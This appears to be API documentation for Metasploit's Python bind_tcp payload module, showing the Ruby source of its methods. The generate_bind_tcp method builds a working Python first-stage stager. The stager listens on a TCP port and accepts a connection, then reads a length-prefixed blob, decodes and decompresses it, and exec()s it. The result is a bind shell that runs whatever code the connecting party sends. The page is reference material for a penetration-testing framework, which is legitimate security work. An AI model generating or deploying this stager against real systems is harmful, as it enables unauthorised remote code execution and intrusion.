Module: Msf::Payload::Python::BindTcp
- Includes:
- Msf::Payload::Python, SendUUID
- Defined in:
- lib/msf/core/payload/python/bind_tcp.rb
Overview
Complex bind_tcp payload generation for Python
Instance Method Summary collapse
-
#generate ⇒ Object
Generate the first stage.
- #generate_bind_tcp(opts = {}) ⇒ Object
- #handle_intermediate_stage(conn, payload) ⇒ Object
-
#include_send_uuid ⇒ Object
By default, we don't want to send the UUID, but we'll send for certain payloads if requested.
- #transport_config(opts = {}) ⇒ Object
Methods included from SendUUID
Methods included from Msf::Payload::Python
Instance Method Details
#generate ⇒ Object
Generate the first stage
22 23 24 25 26 27 28 |
# File 'lib/msf/core/payload/python/bind_tcp.rb', line 22 def generate conf = { port: datastore['LPORT'] } generate_bind_tcp(conf) end |
#generate_bind_tcp(opts = {}) ⇒ Object
42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
# File 'lib/msf/core/payload/python/bind_tcp.rb', line 42 def generate_bind_tcp(opts={}) # Set up the socket cmd = "import zlib,base64,socket,struct\n" cmd << "b=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 cmd << "b.bind(('0.0.0.0',#{opts[:port]}))\n" cmd << "b.listen(1)\n" cmd << "s,a=b.accept()\n" cmd << py_send_uuid if include_send_uuid cmd << "l=struct.unpack('>I',s.recv(4))[0]\n" cmd << "d=s.recv(l)\n" cmd << "while len(d)<l:\n" cmd << "\td+=s.recv(l-len(d))\n" cmd << "exec(zlib.decompress(base64.b64decode(d)),{'s':s})\n" py_create_exec_stub(cmd) end |
#handle_intermediate_stage(conn, payload) ⇒ Object
59 60 61 |
# File 'lib/msf/core/payload/python/bind_tcp.rb', line 59 def handle_intermediate_stage(conn, payload) conn.put([payload.length].pack("N")) end |
#include_send_uuid ⇒ Object
By default, we don't want to send the UUID, but we'll send for certain payloads if requested.
34 35 36 |
# File 'lib/msf/core/payload/python/bind_tcp.rb', line 34 def include_send_uuid false end |
#transport_config(opts = {}) ⇒ Object
38 39 40 |
# File 'lib/msf/core/payload/python/bind_tcp.rb', line 38 def transport_config(opts={}) transport_config_bind_tcp(opts) end |